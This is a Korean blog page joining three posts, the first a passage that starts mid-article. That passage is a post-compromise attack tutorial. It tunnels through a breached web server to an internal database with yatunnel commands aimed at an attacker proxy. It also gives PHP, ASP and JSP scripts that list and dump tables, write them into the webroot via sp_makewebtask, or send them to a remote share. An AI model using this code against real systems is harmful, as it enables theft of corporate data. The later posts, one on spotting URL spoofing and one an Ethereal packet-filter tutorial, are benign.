    이는 port redirect(cevert tunnel, reverse telnet)이 가능한 상태이다.
    즉 외부에서 해당 웹서버의 쉘을 띄울수가 있는 상태이므로 쉽게 DB쿼리가 가능하다.
    우선 공격대상 네트워크는 아래와 같다고 가정한다.
    실제 Firewall/네트워크 구성이 상당수 기업들이 이와 유사하게 설정 되어 있다.
    ===================================================================================================================
    [공인:210.210.210.210]                         [공인: 220.220.220.220]                       [사설:192.168.0.100]
    공격자 PC1 -------------------- 방화벽 ----------------- 웹서버 ------------방화벽----------------- DB 서버
                          Any    웹서버 80     Accept              웹서버   DB서버  DB서비스 Accept
                          Any    웹서버 Any    Deny                Any      DB서버  Any      Deny
                          웹서버 Any    8080   Accept
                          웹서버 Any    Any    Deny
    공격자 PC2(Proxy 서버)
    [공인:210.210.210.211]
    =====================================================================================================================
    port redirect는 yatunnel이란 tool을 이용하여 아래와 같이 수행한다.
    만일 웹서버에 sql client툴이 있을경우 이를 이용하면 쉽게 DB에 접속하여 쿼리를 할 수 있으나
    경험상 아마도 없을 것이다. ^^;
    - 공격자 PC2(Proxy 서버)에서의 작업
     Proxy 서버측에서 웹서버와 Tunneling 할 port를 open한다.
     [root@Proxy Server]# ./tun-proxy -p 12345

    - 웹서버에서의 작업
     tun-server의 소스를 보면 127.0.0.1:22로 redirect를 한다.
     이 부분은 자신이 원하는 주소와 port를 수정하여 사용 가능하다.
     즉, 다른 호스트로 redirect가 가능하다. 즉 이를 192.168.0.100:1433으로 수정한다.
     MSSQL:1433, Oracle:1521, MySQL:3306
     [green@Internal Server]$ ./tun-server -h 210.210.210.211 -p 12345
    - 공격자 PC1 에서의 작업
     각종 SQL Client를 이용하여 210.210.210.211:12345로 DB와 Connect하고 DB 쿼리를 한다.
     MSSQL, MySQL, Oracle에 대한 SQL Client는 아래 사이트에 있는 SQL Gate가 사용이 용이하고 쉽다.
     http://www.sqlgate.com/html/index.html
    * yatunnel을 이용한 SQL Client 연결은 한번도 테스트는 해 보지 않았다
     안될 이유는 없을것 이라고 판단이 되나 누군가 테스트 해 볼 기회가 된다면 안되면 연락을 주길 바란다.

    2) Firewall Rule에서 Source IP가 웹서버에서 외부 인터넷구간으로의 Outbound Rule이 Deny인 경우
    Outbound Rule이 Deny일 경우 순전히 해당 웹서버의 cgi를 이용하여 DB 쿼리를 하여야 한다.
    이는 상당히 많은 조합이 필요하다 ㅠㅠ;
    가장많이 사용되는 php, asp, jsp를 예로 들어 보겠다.
    2-1) php를 사용할 경우
    가장 먼저 DB Name과 Table Name을 알아야 DB 쿼리를 한다.
    웹서버의 php파일들을 뒤져서 DB Name과 Table Name을 찾아 낼수 있지만 이 얼마나 노가다 인가...
    그래서 아래와 같은 DB 구조 파악을 할 수 있는 php파일을 실행 시키자.
    아래의 예제는 Mysql을 예로 들었다.
    물론 아래의 몇몇 변수는 시스템 환경에 맞게 수정을 하여야 한다.

    ------------------------------------디비/테이블 알아내기---------------------------------------------
    <?
    $db = mysql_connect($host, $user, $password);
    mysql_select_db($database);
    //전체 DB보기
    $db_list = mysql_list_dbs($db);
    echo "전체 DB >>>>>";
    while ($row = mysql_fetch_object($db_list)) {
    $database= $row->Database;
    echo "<a href=$PHP_SELF?dbname=$database>$row->Database </a>|| ";
    }
    $table_rs = mysql_list_tables($database);                  ////// 테이블을 볼 테이타 베이스명
    echo "<style>td {font-size:9pt}</style>
    <table >
    <tr>";
    $rows = 0;
    while($tables = mysql_fetch_array($table_rs)){
           $query = "select * from $tables[0]";
           $field_rs = mysql_query($query, $db);
           $field = mysql_fetch_field($field_rs);            /////////// 필드명 구하기
           $cols = mysql_num_fields($field_rs);              /////////// 필드수 구하기
           if($rows%5 == 0) echo "</tr><tr><td height=20></td></tr><tr>";      //// 칼럼수가 5개 이면 줄 바꿈
           echo "<td valign=top>
                 <table width=180 cellspacing=0 border=1 bordercolordark=white bordercolorlight=black>
                   <tr>
                       <td colspan=2 align=center><b>$tables[0]</b></td>
                   </tr>
                   <tr align=center>
                       <td >필드명</td>
                       <td >Type</td>
                   </tr>";
    for($i=0; $i < $cols; $i++){
                   echo "
                   <tr align=right>
                       <td>".mysql_field_name($field_rs, $i)."</td>
                       <td>".mysql_field_type($field_rs, $i)." (".mysql_field_len($field_rs, $i).")</td>
                   </tr>\n";
           }
           echo "</table></td>";
           $rows++;
    }
    echo "</tr></table>";
    ?>
    -------------------------------------------------------------------------------------------------------------

    -----------------------------테이블의 데이타 쿼리하기--------------------------------------------------------
    // 데이타 양이 많을경우 디져버릴수 있으니 게시판 형태로 수정하여야 한다.
    <?

    $connect=mysql_connect("localhost","user_id","password") or  die("Fail to connect SQL");
    mysql_select_db( "database_name",$connect);
    print "<HTML>n"; 
    echo("<h2>
           테이블  $tab_name  의 모든 데이타를 가져옵니다
        </h2>");
    print " <form action=$PHP_SELF>";

    $stmt = "SELECT * FROM $tab_name";
     $nresult = mysql_query($stmt,$connect );
     $nrows = mysql_affected_rows();
     $results=mysql_fetch_array($nresult);
    if ( $nrows > 0 ) {
           print "<TABLE BORDER="1">n";
           print "<TR>n";
           $j=0; 
           while ( list( $key, $val ) = each( $results ) ) {
                  if ( $j%2==1  )   print "<TH> $key</TH>n";
                 $j++; 
           }     
           print "</TR>n";
                            
          $k=0; 
          for ( $k = 0; $k < $nrows; $k++ ) {
                mysql_data_seek($nresult,$k);
                $results=mysql_fetch_array($nresult);
              
                $m=0; 
                while ( list( $key, $val ) = each( $results ) ) {
                      if ( $m%2==1  )   print "<TD> $val</TD>";
                      $m++;
               } // end of while
                print "</TR>";
        } // end of for
    print "</TABLE>n";
    } else {
           echo "No data found<BR>n";
    }     
    print "$nrows Records Selected<BR>n";
                          

    print " INPUT TABLE NAME <input type=text name=tab_name value=$tab_name>";
    print " <br> <input type=submit value='검색'>";
    print " </form>";
    print " </html>";
    ?>
    -------------------------------------------------------------------------------------------------------

    ------------------------------------테이블의 쿼리값을 파일로 저장---------------------------------------
    <?

    $connect=mysql_connect("localhost","user_id","password") or  die("Fail to connect SQL");
    mysql_select_db( "database_name",$connect);
    $stmt = "select * from tablename into outfile 'filename'";
    mysql_query($stmt,$connect );
    ?>
    --------------------------------------------------------------------------------------------------------

    2-2) asp 를 사용할 경우
    asp를 사용한다면 90% 이상 mssql과 조합을 이루고 있을 것이다.
    Mssql은 sp_maskwebtask API가 있어 상당히 편리(?)하다.
    쿼리한 결과값을 화면에 출력하는 수고를 하지 않아도 된다.
    이 방법은 asp에만 사용되는 방법이 아니라 해당 DBMS가 MSSQL이라면 php또는 jsp 에서도 해당 cgi에 맞게 DB Connect후
    sql query만 아래와 같이 실행하면 된다.
    sp_maskwebtask를 이용하여 쿼리의 결과값을 Local서버 또는 Remote서버로 html로 저장시킬 수 있다.
    EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U'''
    이 명령어로 sysobjects에 있는 User가 생성한 DB 테이블을 쿼리한 결과값을 c:\inetpub\wwwroot\sqloutput.html에 저장한다.
    EXEC sp_makewebtask '\\10.0.0.8\public\hack.htmk', 'SELECT * FROM user'
    또한 쿼리한 결과값을 remote에 저장시킬 수 있다.
    ---------------------------------------------------------------------------------------------------------
    테이블 정보 알아내기
    <%
    set Conn = server.createobject("adodb.connection")
    Conn.Open "test","sa", ""
    set rs = Conn.Execute(" EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U''' ")
    %>
    -----------------------------------------------------------------------------------------------------------
    자 이제 sales 테이블의 결과를 보자.
    -----------------------------------------------------------------------------------------------------------
    해당 sales 테이블의 전체 내용 쿼리하기
    <%
    set Conn = server.createobject("adodb.connection")
    Conn.Open "test","sa", ""
    set rs = Conn.Execute(" EXEC sp_makewebtask 'c:\inetpub\wwwroot\aaa.html', 'select * from sales' ")
    %>
    -----------------------------------------------------------------------------------------------------------
    우와 간단하고 좋다... 역시 MS...

    2-3) jsp 를 사용할 경우
    jsp일 경우 Windows, *nix와 같이 시스템에 상관없이 운영되기 때문에
    연결한 DBMS가 MSSQL, MYSQL, Oracle, Informix 등 다양한 DBMS와 연결을 한다.
    가장 많이 사용되는 MSSQL과 Oracle을 예로 들어보잣...
    먼저 MSSQL은 asp를 사용할 때와 마찬가지로 sp_maskwebtask API를 사용해서 DB 쿼리를 수행할 수 있다.
    ---------------------------------------------------------------------------------------------------------
    MSSQL 테이블 정보 알아내기
    <%@ page contentType="text/html; charset=euc-kr" %>
    <%@ page import="java.sql.*, java.io.*"%> 
    <%
     String url ="jdbc:freetds:sqlserver://192.168.0.10:1433/WEBDB";
     String id = "sa";
     String pass = "";
     Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); 
     Connection conn = DriverManager.getConnection(url,id,pass); 
      
     Statement stmt = conn.createStatement(); 
     String sql = " EXEC sp_makewebtask 'c:\inetpub\wwwroot\sqloutput.html', 'select * from sysobjects where xtype = ''U''' "; 
     ResultSet rs = stmt.executeQuery(sql);   
    %>
    -----------------------------------------------------------------------------------------------------------
    ---------------------------------------------------------------------------------------------------------
    MSSQL sales 테이블 쿼리하기
    <%@ page contentType="text/html; charset=euc-kr" %>
    <%@ page import="java.sql.*, java.io.*"%> 
    <%

     String url ="jdbc:freetds:sqlserver://192.168.0.10:1433/WEBDB";
     String id = "sa";
     String pass = "";
     Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); 
     Connection conn = DriverManager.getConnection(url,id,pass); 
      
     Statement stmt = conn.createStatement(); 
     String sql = " EXEC sp_makewebtask 'c:\inetpub\wwwroot\aaa.html', 'select * from sales' "; 
     ResultSet rs = stmt.executeQuery(sql);   
    %>
    -----------------------------------------------------------------------------------------------------------

    ------------------------------------------------------------------------------------------------------------
    Oracle 테이블 정보 알아내기
    <%@ page contentType="text/html; charset=euc-kr" %>
    <%@ page import="java.sql.*, java.io.*"%>
    <%
     Class.forName("oracle.jdbc.driver.OracleDriver");
     String JDBCDriverType = "jdbc:oracle:thin";
     String DBHost = "test.inzen.com";
     String Port = "1521";
     String SID = "ORA8";
     String url = JDBCDriverType+":@"+DBHost+":"+Port+":"+SID;
     String userID = "test";
     String password = "test";
     String query = "select * from tab";
     Connect con = DriverManager.getConnection(url, userID, password);
     Statement stmt = con.createStatement();
     ResultSet rs = stmt.executeQuery(query);
     File outputFile = new File("jsp웹루트디렉토리/oratable.txt");
     FileWriter fout = new FileWriter(outputFile);
     PrintWriter ps = new PrintWriter(new BufferedWriter( fout ));
     while ( rs.next() ) {
      ps.print ( rs.getString ( 1 ) ) ;
      ps.print ( "        " ) ;
      ps.println ( rs.getString ( 2 ) ) ;
     }
     ps.close() ;
    %>
    ---------------------------------------------------------------------------------------------------------------
    위의 File outputFile 에 파일명을 지정하는데 절대 경로와 상대경로 다 쓸 수 있다.
    만약 jsp 의 엔진으로 tomcat 을 사용하고 있는경우 /usr/local/jakarta-tomcat/bin 에 default 로 파일이 생성되게 된다.
    그러므로 웹에서 불러 올수 있는 경로를 지정해야 한다.
    /usr/local/jakarta-tomcat/webapps 의 위치가 jsp 웹  루트 디렉토리라면
    File outputFile = new File("/usr/local/jakarta-tomcat/webapps/oratable.txt");
    이런 식으로 지정을 한다.
    ---------------------------------------------------------------------------------------------------------------
    Oracle 특정 테이블 쿼리하기
    <%@ page contentType="text/html; charset=euc-kr" %>
    <%@ page import="java.sql.*, java.io.*"%>
    <%
     Class.forName("oracle.jdbc.driver.OracleDriver");
     String JDBCDriverType = "jdbc:oracle:thin";
     String DBHost = "test.inzen.com";
     String Port = "1521";
     String SID = "ORA8";
     String url = JDBCDriverType+":@"+DBHost+":"+Port+":"+SID;
     String userID = "test";
     String password = "test";
     String query = "select gongi, day from gongi";
     Connect con = DriverManager.getConnection(url, userID, password);
     Statement stmt = con.createStatement();
     ResultSet rs = stmt.executeQuery(query);
     File outputFile = new File("jsp웹루트디렉토리/oratable.txt");
     FileWriter fout = new FileWriter(outputFile);
     PrintWriter ps = new PrintWriter(new BufferedWriter( fout ));
     while ( rs.next() ) {
      ps.print ( rs.getString ( 1 ) ) ;
      ps.print ( "        " ) ;
      ps.println ( rs.getString ( 2 ) ) ;
     }
     ps.close() ;
    %>
    ---------------------------------------------------------------------------------------------------------------
    The End.

    by 작두이글루
    Posted by 1010
    반응형

    현재 웹페이지의 URL의 유효성 확인

     

     

    1. Internet Explorer의 주소 표시줄에 아래 명령을 입력한 다음 Enter 키를 누릅니다.

    javascript:alert("실제 URL 주소: " + location.protocol + "//" + location.hostname + "/");

    2. 현재 방문하고 있는 웹페이지의 실제 URL 웹주소를 표시합니다.

    다음 코드를 복사해서 인터넷 익스플로어 주소창에 입력하고 Enter 키를 누르면 웹 사이트 URL의 자세한 설명을 볼 수 있습니다.

    javascript:alert("실제 URL:\t\t" + location.protocol + "//" + location.hostname + "/" + "\n주소 표시줄 URL:\t" + location.href + "\n" + "\n서버 이름이 서로 일치하지 않는다면 스푸핑 사이트일 수 있습니다.");

    실제 URL과 주소 표시줄 URL을 비교해서 일치하지 않으면 웹 사이트가 거짓 주소를 나타내는 것일 수 있습니다. 

    3. Internet Explorer의 열어본 페이지목록 창을 사용하여 현재 웹 사이트의 실제 URL 확인
    loadTOCNode(4, 'moreinformation');
    Internet Explorer의 열어본 페이지 목록 탐색 창을 사용해서 웹 페이지의 URL을 확인할 수 있습니다.
    인터넷 익스플로어에서 보기--> 탐색 창 --> 열어 본 페이지 목록을 누릅니다. 주소 표시줄의 URL을 열어본 페이지 목록에 나타나는 URL과 비교합니다. 일치하지 않으면 웹 사이트가 거짓 주소를 나타내는 것일 수 있다.


    4. 하이퍼링크가 사용하는 URL 확인하는 방법

    하이퍼링크가 사용하는 URL을 확인하려면 다음과 같이 하면 된다. 
    1) 링크를 마우스 오른쪽 단추로 누른 다음 바로 가기 복사를 누릅니다.
    2) 시작을 누르고 실행을 누릅니다.
    3) notepad를 입력한 다음 확인을 누릅니다.
    4) 메모장의 편집 메뉴에서 붙여넣기를 누릅니다.


    이렇게 하면 하이퍼링크의 전체 URL을 확인하고 Internet Explorer가 사용할 주소를 확인할 수 있습니다.
    다음은 스푸핑 웹 사이트로 이동할 수 있는 URL Spoofing에 사용되는 문자들이다.

    %00
    %01
    @


    예로, 다음 형태의 URL은 http://example.com으로 연결되지만 Internet Explorer에서 주소 표시줄이나 상태 표시줄의 URL은 http://www.wingtiptoys.com으로 나타날 수 있다.

     
     

     
    Posted by 1010
    90.개발관련문서2008. 7. 24. 12:51
    반응형

    Ethereal 고수가 되자

    패킷 분석기는 네트워크 구축이나 운영시 발생하는 문제를 해결하기 위한 필수 요소다. 때문에 네트워크 관리자라면 누구라도 패킷 분석기의 세상에 한번쯤은 빠져들어야 한다. 패킷 분석기는 스니퍼와 같은 고가의 상용 제품도 있지만 이더리얼과 깉이 누구라도 쉽게 무료로 사용할 수 있는 공개용 솔루션도 있다. 이번호에는 국내뿐 아니라 해외에서도 네트워크 관리자라면 보편적으로 많이 사용하고 있는 이더리얼의 주요 기능과 활용법에 대해 소개한다.

    최성열| 파이오링크 기술지원센터장

     한국의 큰 명절인 지난 추석에 필자는 중요한 일 때문에 가족들과 떨어져 일본에서 보내야만 했다. 신규로 구성하는 네트워크에서 문제가 발생해 일본의 파트너들과 함께 일을 했다. 그곳에서 발생한 문제는 이더넷 패킷이 일부 변경되거나 패킷이 가끔 손실되는 현상이었다. 어떻게 해서든 문제를 찾아야 하는 상황이라 파이어월, 2, 3, 4계층 스위치 등 어느 구간에서 문제가 발생하는지를 찾기 위해 여러 명의 엔지니어들과 함께 일했다.
    보통 패킷을 분석할 때는 예상되는 구간에 한 대 정도만 분석기를 설치하고 수집된 데이터를 기반으로 분석을 하는데, 이번에는 어떤 장비도 믿을 수가 없었기에 각 구간마다 분석기를 설치했다. 덕분에 당시 설치했던 패킷 분석기만 13대였다(사실 필자가 문제 해결을 위해 이렇게 많은 장비를 사용하기는 처음이었다). 이때 사용한 프로그램으로는 상용으로 가장 많이 사용되는 스니퍼(Sniffer)와 공개용으로 많이 사용되는 이더리얼(Ethereal)이었다.
    대부분의 엔지니어들의 노트북에는 이 두 개의 프로그램이 탑재돼 있을 것이며, 어떤 시스템을 사용하는가는 그 구간을 담당하는 엔지니어가 익숙한 정도에 달려 있다.


    패킷 분석기의 역할과 중요성
    며칠 동안 필자가 뚫어지라 바라보았던 이더리얼과 스니퍼를 우리는 패킷 분석기(Packet Analyzer)라고 부른다. 이들 솔루션은 연결된 네트워크에 지나가는 패킷들을 하나도 빠짐없이 모두 그 형태에 맞게 나열해주고 일부 필요한 것들은 통계로 알려준다.
    이 같은 패킷 분석기의 사용은 문제를 해결할 때 뿐만이 아니라 여러분들이 책으로만 봐왔던 네트워크 프로토콜의 실제 동작을 직접 확인하는 용도로 사용할 수도 있으며, 필요에 따라서는 책으로 소개되지 않은 애플리케이션(P2P, 바이러스, 메신저)에 대해서도 쉽게 파악하는 용도로 사용할 수도 있다. 




    패킷 분석기는 (그림 1)처럼 확인하고자 하는 구간에 설치해 패킷들을 캡처하고, 관리자를 이를 기반으로 문제를 분석할 수 있도록 한다. 일반적으로 컴퓨터에서 어떤 통신이 안될 경우에는 해당 컴퓨터에 이더리얼을 설치하거나, 해당 컴퓨터가 설치된 같은 네트워크에 연결해 문제가 있는 컴퓨터와 동일한 동작을 해 볼 수도 있다. (그림 1)에서 무언가를 자세하게 들여보는 듯한 '돋보기’그림이 패킷 분석기라는 툴의 특징을 가장 잘 나타내준다고 할 수 있다.



    (화면 1) 이더리얼 실행 화면

     

    이더리얼과 같은 패킷 분석기의 값어치는 여러분들이 어떻게 사용하느냐에 따라서 하늘과 땅 차이가 난다. (화면 1)의 이더리얼 실행 화면에서 볼 수 있듯이 짧은 순간에도 상당히 많은 패킷들을 수집하므로 툴에서 제공하는 여러 기능을 적절히 이용할 줄 아는 지혜를 가져야 한다. 그렇지 않으면 짧은 내용의 패킷 분석을 위해서 너무 많은 시간을 들여야 할지도 모른다.
    보통 이더리얼을 처음 접한 사람들은 모두들 큰 그림의 패킷 하나하나를 제일 깊은 단계로 생각을 한다. 하지만 패킷 분석기의 가장 중요한 특징은 바로 패킷 하나를 세부적인 단계로 나눠볼 수 있다는 점이다. (화면 1)을 보고 여러분들이 이미 알아차렸을 수도 있지만 대부분의 툴은 패킷 하나하나의 세부 구조와 정보를 우리가 알기 쉽게 번역해 주고 있다.



    (화면 2) 웹에서 GET을 보낼 때의 패킷 세부 내용

     

    그동안 필자의 연재를 지속적으로 보아온 독자라면 (화면 2)를 조금만 살펴봐도 별 어려움 없이 내용을 이해할 수 있을 것이다. (화면 2)는 여러 패킷도 아니고 단 하나의 패킷이다. 앞에서 설명했지만 패킷의 리스트(List)를 주욱 살펴봐서 어떤 패킷이 오는지 혹은 오지 않는지를 따지는 것은 아주 기본적인 사항이며, 나아가서는 이렇게 패킷 하나하나를 살펴서 어떤 정보들을 주고받았는지도 살펴야 한다(아마 시간이 지나면 여러분들도 그렇게 될 수 밖에 없다. 왜냐하면 때로는 패킷은 다 왔는데도 통신이 안 되는 경우가 있기 때문이다).


    이더리얼 구하기와 설치하기
    이더리얼은 공개용이므로 홈페이지(www.ethereal.com)에 가면 누구라도 손쉽게 구할 수가 있으며 설치 또한 간단하다. 하지만 주의할 점은 이더리얼 설치 전에 컴퓨터의 LAN 카드로 들어오는 패킷들을 이더리얼로 수집해 주는 Winpcap(www.winpcap.org)을 먼저 설치해야 한다. 이 프로그램이 없으면 이더리얼은 무용지물이다.
    현재 제공되는 이더리얼의 버전은 0.10.12 버전이다. 맨 앞이 1이 아닌 0이어서 불안해 할 수도 있지만 이미 여러 차례 패치가 됐고 많은 사람들이 사용하고 있으므로 실무에 사용해도 전혀 손색이 없다(사실 상용 버전보다는 디자인 측면에서 많이 부족하지만 요즘 나온 버전에는 버튼에 아이콘들도 추가해서 제법 틀을 갖춰가고 있다).


     

    <이더리얼의 탄생 과정>
    이더리얼은 리눅스 계열에서 사용한 패킷 덤프(dump) 프로그램인 'tcpdump'라는 툴에서 시작됐다. tcpdump는 리눅스에서 시스템에서 처리하는 패킷을 다양한 옵션으로 볼 수 있는 명령어이고, 지금도 리눅스 애호가로부터 많이 사용되고 있는 명령어다. 이더리얼은 리눅스에서도 비슷한 화면구조로 돼 있는 GUI 프로그램이며, 필자가 설명하고 있는 것은 이것을 윈도우에서 사용할 수 있도록 돼 있는 프로그램이다. 이더리얼 홈페이지를 자세히 살펴보면 깜짝 놀랄 세 가지 일이 있다.
    첫번째는 현재 이더리얼은 719개의 다양한 프로토콜을 지원한다는 점이다. 이 세상에 얼마나 많은 프로토콜이 존재하는지는 필자도 잘 모르지만, 실무에서 사용하고 있는 프로토콜 대부분은 아마도 이더리얼이 지원할 것이다(프로토콜이 지원된다는 것은 (화면 2)에서 처럼 해당 프로토콜을 세부적으로 사람이 볼 수 있도록 정리할 수 있다는 의미다).
    두번째로는 정말 다양한 플랫폼에서 동작한다는 점이다. 리눅스(레드햇, SuSE, 데비안, PLD, ROCK, SCO, 슬랙웨어), 솔라리스(인텔, 썬), Irix, FreeBSD, OpenBSD, AIX, HP-UX, 맥킨토시 등 다양한 플랫폼에서 동작한다. 아마 어떤 상용 툴도 이렇게 다양한 플랫폼은 지원하지 못할 것이다.
    그리고 마지막 특징으로는 NAI의 스니퍼, 썬의 Snoop, 쇼미티의 Surveyor, AIX의 iptrace, 마이크로소프트의 Network Monitor, HP-UX의 nettl, 와일드패킷의 Etherpeak 등 여러 상용 패킷 분석기에서 캡처한 것들도 볼 수가 있다는 것이다. 이 같은 놀라운 특징들 때문에 이더리얼의 사용을 강력하게 추천하는 것이다.

     

     

    필자가 이더리얼을 사용하는 법
    스니퍼 사용시 캡처를 할 때 필터(Filter)를 사용하고, 캡처가 끝난 후에 필요에 따라서 캡처된 데이터에서 필터를 사용하는 방법을 사용했었다. 반면 이더리얼의 특징 중 하나가 캡처하는 화면을 실시간으로 보는 것은 기본이고, 필요에 따라서는 캡처하면서도 각종 옵션으로 화면에 나타나는 것들을 조절, 분석하는 데 많은 도움을 줄 수가 있다는 점이다. (화면 3)은 이더리얼에서 캡처를 시작할 때 화면이다.



    (화면 3) 캡처를 시작할 때의 다양한 옵션       


    이더리얼을 비롯한 대부분의 패킷 분석기는 캡처 시작 전에 몇 가지 기본적인 설정을 하고나서 시작한다. 여러분들이 처음 이더리얼을 구동했다면 제일 먼저 어떤 인터페이스에서 구동할 것인가를 결정해야 한다. 많은 사람들이 이 선택을 잘못하고 캡처를 시작하면서 되려 이더리얼이 몹쓸 툴이라고 흉보는 경우가 많다.
    필자는 그동안 많은 시간을 투자해 실시간으로 캡처하면서 보는 습관을 들였다. 이 방법이 분석에 많은 도움이 돼 이제는 'Display Options'에 있는 두가지 옵션(화면 3에서 선택된)을 대부분 기본으로 사용한다. 이 옵션을 사용하면 실시간으로 캡처된 리스트들이 자동으로 업데이트되고, 리스트를 보여주는 스크롤이 자동으로 올라가 최근 패킷만 볼 수가 있다. 때문에 실시간으로 패킷을 보고 싶은 필자에게는 아주 유용하다.
    (화면 3) 중 'Name Resolution'이라는 부분은 화면에 보여지는 MAC, IP, TCP/UDP 포트 등을 연관된 이름들로 확인해 보여주는 옵션이다. 예를 들면 MAC은 앞에 있는 3바이트가 제조사 MAC이기 때문에 이를 검색해 보여주고, IP에 해당하는 컴퓨터 이름(DNS 이름), TCP/UDP에 해당하는 프로토콜 이름(TCP 80 → HTTP)으로 보여준다.
    하지만 이 옵션은 유용하면서도 실시간으로 많은 패킷들을 받아서 보여줘야 하는 프로그램 입장에서는 많은 부하를 줄 수 있다. 그러니 수십 Mbps 이상을 캡처할 때는 가급적 이들 옵션은 사용하지 않는 것이 낫다(하지만 실제로는 여러분이 직접 경험하고 느껴본 후에 어떤 것이 효율적일지 나만의 옵션을 찾는 게 중요하다).
    만약 실시간으로 패킷을 볼 게 아니라 필요에 따라서 캡처했다가 나중에 분석할 계획이라면 파일로 저장하는 옵션을 선택하자. 네트워크에 발생하는 문제들은 이번에 필자가 일본에서 겪었던 것처럼 언제 어느때 발생할지 모르는 경우가 있기 때문에 그것 때문에 실시간으로 패킷을 계속 보고 있는 것이 때로는 바보같은 일이기 때문이다.
    이 경우에는 패킷을 일정한 사이즈, 시간마다 자동으로 저장해 나중에 분석이 필요할 때 어느 파일부터 선택해서 분석해야 하는지에 도움이 될 수 있다. 그렇다고 내 컴퓨터의 하드디스크가 크다고 무조건 수 기가바이트로 남기는 것은 나중에 분석을 안하겠다고 하는 것과 마찬가지다. 더구나 윈도우도 그렇게 큰 크기는 읽지 못할뿐더러 수백 메가바이트나 되는 데이터를 프로그램에서 띄운다는 것은 절대 불가하다.


    캡처 필터/화면 필터 잘 쓰는 사람이 고수
    이더리얼의 고수는 바로 필터를 자유자재로 사용하는 사람이다. 우선 캡처 필터는 리눅스에서 tcpdump를 한번이라도 써 봤던 사람이라면 이해할 만한 문법으로 돼 있다. 처음에는 어려워 보이지만 조금만 이해하면 패킷의 다양한 옵션까지도 선택할 수가 있다.
    캡처 필터는 수동으로 입력하는 게 기본인데, 잘 모르겠다면 (화면 3)에 있는 캡처 필터 부분을 클릭해 보면 기본 예제를 볼 수 있다. 물론 'Help'를 누르면 추가 예제 몇 개가 더 나올 것이다. 여기서 중요한 것은 단지 필터 한 개를 잘 사용하는 것이 아니라는 점이다. and, or, not 등의 다양한 연산을 잘 사용하는 것이 제일 중요하다. 다음은 이더리얼에 있는 예제들이다.


    (1) 08:00:08:15:ca:fe 라는 MAC을 가진 호스트에서 사용하는 패킷만 캡처
    ether host 08:00:08:15:ca:fe


    (2) 192.168.0.10라는 IP 주소에서 오는 패킷이나 그쪽으로 향하는 패킷 캡처
    host 192.168.0.10


    (3) TCP 프로토콜 중 포트 80을 사용하는 패킷 캡처
    tcp port 80


    (4) IP 주소가 192.168.0.10이면서 TCP 포트 80을 사용하지 않는 패킷 캡처
    host 192.168.0.10 and not tcp port 80


    위의 예 뿐만이 아니라 arp, 출발지(src), 목적지(dst), 서브넷 기준으로도 구분이 가능하고 패킷사이즈에 따른 캡처도 가능하다. 이를 가장 잘 익힐 수 있는 방법은 메뉴얼을 읽거나 tcpdump 옵션을 찾아보는 것이다.


    <not 사용을 습관적으로>
    필터를 사용할 때 종종 사용하게 될 옵션 중 하나가 바로 'not'이다. 이 옵션은 말 그대도 어떤 특정 패킷들은 너무도 당연해서 볼 필요가 없을 경우에 이들을 제외한 나머지를 보고자 할 때 사용하는 옵션이다.

     

    다음은 icmp를 이용한 웜인 웰치아(Welchia)가 한창 유행일 때 사용했던 옵션이다. 이 패킷의 특징은 icmp를 사용하는 핑(ping)을 이용해 불특정 네트워크를 검색하느라 라우터, 파이어월과 같은 IP 처리 장비들이 제대로 서비스를 못하는 문제를 야기시켰다. 하지만 이 패킷은‘92바이트'라는 패킷 사이즈를 가지는 게 특징이었으므로 단순히 icmp를 네트워크에서 분리할 경우에는 어떤 호스트에 문제가 있는지를 찾기는 쉽지 않았다. 하지만 툴을 제대로 사용할 줄 아는 사람이라면 다음과 같은 방법을 쓰면 어렵지 않게 구분해 낼 수가 있다.



    (화면 4) 필터 4. icmp and ip[2:2] = 92

     

    (화면 4)의 옵션인 'icmp and ip[2:2] = 92'를 살펴보자. 무슨 암호문자 같기도 하지만 해석해 보면 그리 어렵지는 않다. 우선 icmp이면서 ip[2:2] = 92라고 했다. ip는 ip인데 뒤에 [2:2]라는 이상한 옵션이 추가됐다. 여기서 앞에 숫자 2는 바이트 단위로, IP 헤더 중에 2바이트인 16비트 뒷부분을 가리킨다. 그리고 뒤에 숫자 2는 거기부터 다시 16비트이다. 바로 그 값이 92인 것을 가리킨다. 물론 한번에 이해하기가 쉽지는 않을 것이다. 사실 필자도 처음 이 옵션을 찾아냈을 때 한참을 해매야만 했다.




    (그림 2)는 IP 헤더의 구조다. 이제 앞에서 설명한 2:2의 비밀을 파헤쳐 보자. (그림 2)에서는 32비트 단위로 구분을 했고 그중에 헤더의 16비트, 즉 2바이트 뒤가 바로 패킷의 길이를 나타내는 부분이다. 그리고 길이를 나타내는 필드는 전체 16비트, 즉 2바이트 안에 표기하게 돼 있다. 그 길이가 92인 값을 찾아달라는 것이다. 이제 이해가 좀 될 것이다. 아직도 이해가 안된다면 지난 3월호에 연재했던 IP 헤더에 대해 다시 한번 공부하자.
    실시간으로 패킷을 볼 때면 리스트가 너무 빨리 지나가기 때문에 사실 이더리얼에 능숙한 사람이라도 보고 싶은 부분만을 잡아내기란 쉽지 않다. 그래서 이더리얼은 실시간 패킷을 볼 때 바로바로 필터를 적용할 수 있는 방법을 제공한다. 이 필터의 장점은 캡처 필터에서 사용된 옵션대로 필터는 하고 있지만, 화면에 보이는 부분만 다시 필터를 사용할 수가 있다는 것이다. 그렇기 때문에 다시 화면 필터를 제거하면 캡처 필터에서 사용했던 필터대로 나타나게 된다. 가장 중요한 것은 실시간 작업을 할 수가 있다는 점이다. 그런데 이 필터 옵션은 캡처 옵션과는 조금 다른 형태를 갖고 있으므로 여러분들이 조금만 신경 쓰면 어렵지 않게 좋은 결과를 얻을 수가 있다.



    (화면 5) ICMP/TCP 등이 혼재돼 있는 캡처

     

    (화면 5)처럼 몇가지 필터를 사용해 캡처를 시작했는데 캡처 중에 icmp만 보고 싶다면 캡처를 정지할 필요가 없다. 그냥 화면 필터 부분에 (화면 6)과 같이 해주면 된다.



    (화면 6) 실시간 캡처 중 다시 icmp만 화면 필터 적용

     

